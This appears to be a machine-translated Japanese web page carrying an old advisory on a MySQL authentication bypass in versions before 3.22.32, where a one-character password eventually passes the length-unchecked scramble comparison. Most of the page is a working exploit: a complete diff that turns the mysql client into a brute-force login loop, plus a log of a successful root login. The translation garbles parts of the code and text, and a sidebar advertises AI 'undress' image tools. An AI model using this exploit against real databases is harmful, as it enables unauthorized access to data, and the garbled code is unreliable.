◆ Mysql の下位バージョンにおけるリモート アクセスの脆弱性
mysql|訪問
◆ MySQL リモートアクセスの脆弱性
1. 概要
MySQL は一般的に使用されている小規模データベース システムであり、国内の多くのサイトが Web データベースとして使用しています。
MySQL のパスワード検証メカニズムにはセキュリティ上の脆弱性があります。これにより、ターゲット マシン上でデータベース アクセス
を持つマシンから、あらゆるユーザーがデータベースに接続できるようになります。攻撃者はアカウントのパスワードを知る必要はなく、使用可能なアカウント名だけを知る必要があります。
Mysql 3.22.32 より前のすべてのバージョンには問題がある可能性があります。
2. 詳細
MySQL のパスワード認証メカニズムは次のとおりです: クライアントが接続リクエストを送信すると、サーバーはまずランダムな文字列 (A) を生成し、この文字列をクライアントに送信します。ユーザーが入力したパスワードによって生成されたハッシュ値 (B) を使用して、新しい文字列 (C) を生成します。 そして、この新しい文字列をサーバーに返します。サーバーは、データベースに保存されている元のランダム文字列 (A) とパスワード ハッシュ値 (B') から文字列 (C') を生成し、2 つの文字列 (C と C') の内容が一致するかどうかを比較します。一貫性があり、一貫性がある場合はログインが許可され、そうでない場合は
ログインが許可されません。
ただし、2 つの文字列 C と C' の内容を比較する場合、比較される文字列の長さは考慮されないため、
問題が発生します。 sql/password.c から、問題のあるコード部分を確認できます:
my_bool check_scramble(const char *scrambled, const char *message,
ulong *hash_pass, my_bool old_ver)
{
...
while (*scrambled)
{
if (*scrambled++ != (char) (*to++ ^ extra))
return 1; ?* パスワードが間違っています */
}
return 0;
}
......
ここでのスクランブルは、クライアントによって提供された文字列 C (*to++ ^ extra)) は、サーバーによって生成された文字列
C' (内の文字) です。比較の数は、クライアントによって提供された文字列の長さに依存することがわかります。文字列C。問題はここにあります。サーバーは最初に 2 つの文字列の長さが等しいかどうかを判断する必要がありますが、そうではありません。そのため、クライアントから提供された文字列が 1 文字しかない場合、check_scramble() は C と
番目の文字のみを比較します。 C'のバイト。
C'の内容はランダムに生成されるため、通常、初回ログイン時と2回目ログイン時ではC'の最初の文字が異なります。
例:
@SQOGRFA 1 回目
VV]KPIU_ 2 回目
M[PPRYX^ 3 回目
しかし、分析によると、C' の各文字の可能性は 32 個しかありません。つまり、
ABCDEFGHIGKLMNOPQRSTUVWXYZ_] []@^
理論的には、接続するたびに同じ文字 (「A」など) をパスワードとして送信すると、32 回の接続
のうち 1 回が成功することになります。もちろん、これは確率統計に基づいているだけです。実際には、試行回数は 1 回から 100 回を超えるまでの範囲になります。
3. テストプログラム
上記の分析によると、毎回サーバーに送信する必要があるのは 1 つのキャラクターだけであり、エラーメッセージが返された場合は、成功するまでそのキャラクターを再送信します。簡単にするために、mysql クライアント プログラムを変更できます。client/libmysql.c では、mysql_real_connect() 関数を使用してサーバーとの接続を確立します。
......
MYSQL * STDCALL
mysql_real_connect(MYSQL *mysql,const char *host, const char *user,
const char *passwd, const char *db,
uint port, const char *unix_socket,uint client_flag)
{
......
DBUG_PRINT("info",("user: %s",buff+5));
/* ここの scramble() 関数は検証用のパスワード文字を生成します。 C をコピーして、stretch(buff+5)+1
に送信したいのは 1 文字だけなので、これらの 2 行をコメントアウトして、単語?br> を過去に直接コピーします。 ? /
?br> ?br> end=scramble(strend(buff+5)+1, scramble_buff, passwd,
?my_bool) (mysql->protocol_version == 9);
if (db && (mysql) - >server_capabilities & CLIENT_CONNECT_WITH_DB))
{
....
} ?br> ?br>
MYSQL * STDCALL
mysql_real_connect(MYSQL *mysql) ,const char *host, const char *user,
const char *passwd, const char *db,
uint port, const char *unix_socket,uint client_flag)
{
...
DBUG_PRINT("info",( "ユーザー: %s",buff+5));
?br> /*
end=scramble(strend(buff+5)+1, scramble_buff, passwd,
?my_bool) (mysql->protocol_version == 9 ) );
?/
end = strend(buff+5) +1 ;
*end = 'A';
end ++;8<-----8<-----8<-----8<---- ここをカット ---8<-----8<-----8<-- ---8<-----8<----
--- mysql-3.22.27/client/libmysql.c 水曜日 10 月 6 日 00:37:25 1999
+++ mysql-3.22.27_new/ client/libmysql.c 火曜日 2 月 13 日 14:12:37 2000
@@ -46,6 +46,8 @@
uint mysql_port=0;
my_string mysql_unix_port=0;
+uint trynum=0;
+
#define CLIENT_CAPABILITIES (CLIENT_LONG_PASSWORD | CLIENT_LONG_FLAG | CLIENT_LOCAL_FILES)
#定義されている場合 (MSDOS) ||定義済み(__WIN32__)
@@ -985,13 +987,13 @@
}
-/*
+/*
** mysql_real_connect を呼び出す前に、mysql 引数は mysql_init()
** で初期化する必要があることに注意してください!
*/
MYSQL * STDCALL
-mysql_real_connect(MYSQL *mysql,const char *host, const char *user,
+mysql_real_connect_orig(MYSQL *mysql,const char *host, const char *user,
const char *passwd , const char *db,
uint port, const char *unix_socket,uint client_flag)
{
@@ -1276,8 +1278,15 @@
else
read_user_name((char*) buff+5);
DBUG_PRINT( "info",("user: %s",buff+5));
- end=scramble(strend(buff+5)+1, scramble_buff, passwd,
- ?my_bool) (mysql->protocol_version == 9));
+/* 有効な passwd を作成するステップはスキップします。:) ?- warning3 */
+ //end=scramble(strend(buff+5)+1, scramble_buff, passwd,
+ // ? my_bool) (mysql->protocol_version == 9));
+ trynum++;
+ printf("%d 回試行中",trynum);
+ end = strend(buff+5) +1 ;
+ ?end = 'A'; /* パスワードとして 1 文字を送るだけです */
+ end ++;
+ ?end = ' ';
if (db && (mysql->server_capabilities & CLIENT_CONNECT_WITH_DB))
{
end=strmov(end+1) ,db);
@@ -1286,7 +1295,7 @@
}
if (my_net_write(net,buff,(uint) (end-buff)) || net_flush(net) ||
net_safe_read(mysql) == packet_error)
- エラーに移動;
+ NULL を返す; /* ログインが失敗した場合は、NULL を返します */
if (client_flag & CLIENT_COMPRESS) /* 圧縮を使用します */
net->compress=1;
if (db && mysql_select_db(mysql,db))
@@ -1317,6 +1326,23 @@
DBUG_RETURN(0);
}
+/*
+** 偽の mysql_real_connect() 関数を 1 つ作成します。これは正しいものを推測するために "総当たり"
+** を行います。成功するまでパスワード! ?- warning3
+*/
+
+MYSQL * STDCALL
+mysql_real_connect(MYSQL *mysql,const char *host, const char *user,
+ const char *passwd, const char *db,
+ uint port, const char *unix_socket,uint client_flag)
+{
+ MYSQL *res;
+
+ while (!(res=mysql_real_connect_orig(mysql,host,user,passwd,db,port,unix_socket,client_flag)));
+ printf ("nooOH、入ってきました! ;-)nn");
+ return res;
+
+}
static my_bool mysql_reconnect(MYSQL *mysql)
{
>8----->8 ----->8----->8------ ここでカット --->8----->8----->8-----> ;8----->8----
[warning3@warning3 warning3]$ ls -ld libmysql.c.diff mysql-3.22.27
-rw-rw-r-- ? warning3 warning3 ?409 Feb 13 14:24 libmysql.c.diff
drwxrwxr-x 21 warning3 warning3 ?096 Oct 6 06:36 mysql-3.22.27/
[warning3@warning3 warning3]$ patch -p0 パッチファイル `mysql- 3.22.27/client/libmysql.c'
[warning3@warning3 warning3]$ cd mysql-3.22.27
[warning3@warning3 mysql-3.22.27]$ ./configure;make;cd client;
[warning3@warning3 client]$ ./mysql -uroot -pblahblah
1回試行
2回試行
3回試行
4回試行
5回試行
6回試行
おお、入ってきた! ;-)
MySQL モニターへようこそ。コマンドは;で終わります。または g.
サーバー バージョン: 3.22.27 に対して MySQL 接続 ID は 539 です
ヘルプについては「help」と入力してください。
mysql>
四。 解决办法
1. 升级到達最新版:
2. 外部接続に対してIp制限?br>
感谢:
Robert van der Meulen 他がこの漏洩を公開しました。:)
tb 他帮私がこのエクスプロイトを完了しました

ホットAIツール

Undresser.AI Undress
リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover
写真から衣服を削除するオンライン AI ツール。

Undress AI Tool
脱衣画像を無料で

Clothoff.io
AI衣類リムーバー

AI Hentai Generator
AIヘンタイを無料で生成します。

人気の記事

ホットツール

メモ帳++7.3.1
使いやすく無料のコードエディター

SublimeText3 中国語版
中国語版、とても使いやすい

ゼンドスタジオ 13.0.1
強力な PHP 統合開発環境

ドリームウィーバー CS6
ビジュアル Web 開発ツール

SublimeText3 Mac版
神レベルのコード編集ソフト(SublimeText3)

ホットトピック











ビッグ データ構造の処理スキル: チャンキング: データ セットを分割してチャンクに処理し、メモリ消費を削減します。ジェネレーター: データ セット全体をロードせずにデータ項目を 1 つずつ生成します。無制限のデータ セットに適しています。ストリーミング: ファイルやクエリ結果を 1 行ずつ読み取ります。大きなファイルやリモート データに適しています。外部ストレージ: 非常に大規模なデータ セットの場合は、データをデータベースまたは NoSQL に保存します。

MySQL クエリのパフォーマンスは、検索時間を線形の複雑さから対数の複雑さまで短縮するインデックスを構築することで最適化できます。 PreparedStatement を使用して SQL インジェクションを防止し、クエリのパフォーマンスを向上させます。クエリ結果を制限し、サーバーによって処理されるデータ量を削減します。適切な結合タイプの使用、インデックスの作成、サブクエリの使用の検討など、結合クエリを最適化します。クエリを分析してボトルネックを特定し、キャッシュを使用してデータベースの負荷を軽減し、オーバーヘッドを最小限に抑えます。

PHP で MySQL データベースをバックアップおよび復元するには、次の手順を実行します。 データベースをバックアップします。 mysqldump コマンドを使用して、データベースを SQL ファイルにダンプします。データベースの復元: mysql コマンドを使用して、SQL ファイルからデータベースを復元します。

MySQLテーブルにデータを挿入するにはどうすればよいですか?データベースに接続する: mysqli を使用してデータベースへの接続を確立します。 SQL クエリを準備します。挿入する列と値を指定する INSERT ステートメントを作成します。クエリの実行: query() メソッドを使用して挿入クエリを実行します。成功すると、確認メッセージが出力されます。

MySQL 8.4 (2024 年時点の最新の LTS リリース) で導入された主な変更の 1 つは、「MySQL Native Password」プラグインがデフォルトで有効ではなくなったことです。さらに、MySQL 9.0 ではこのプラグインが完全に削除されています。 この変更は PHP および他のアプリに影響します

PHP で MySQL ストアド プロシージャを使用するには: PDO または MySQLi 拡張機能を使用して、MySQL データベースに接続します。ストアド プロシージャを呼び出すステートメントを準備します。ストアド プロシージャを実行します。結果セットを処理します (ストアド プロシージャが結果を返す場合)。データベース接続を閉じます。

PHP を使用して MySQL テーブルを作成するには、次の手順が必要です。 データベースに接続します。データベースが存在しない場合は作成します。データベースを選択します。テーブルを作成します。クエリを実行します。接続を閉じます。

Oracle データベースと MySQL はどちらもリレーショナル モデルに基づいたデータベースですが、Oracle は互換性、スケーラビリティ、データ型、セキュリティの点で優れており、MySQL は速度と柔軟性に重点を置いており、小規模から中規模のデータ セットに適しています。 ① Oracle は幅広いデータ型を提供し、② 高度なセキュリティ機能を提供し、③ エンタープライズレベルのアプリケーションに適しています。① MySQL は NoSQL データ型をサポートし、② セキュリティ対策が少なく、③ 小規模から中規模のアプリケーションに適しています。
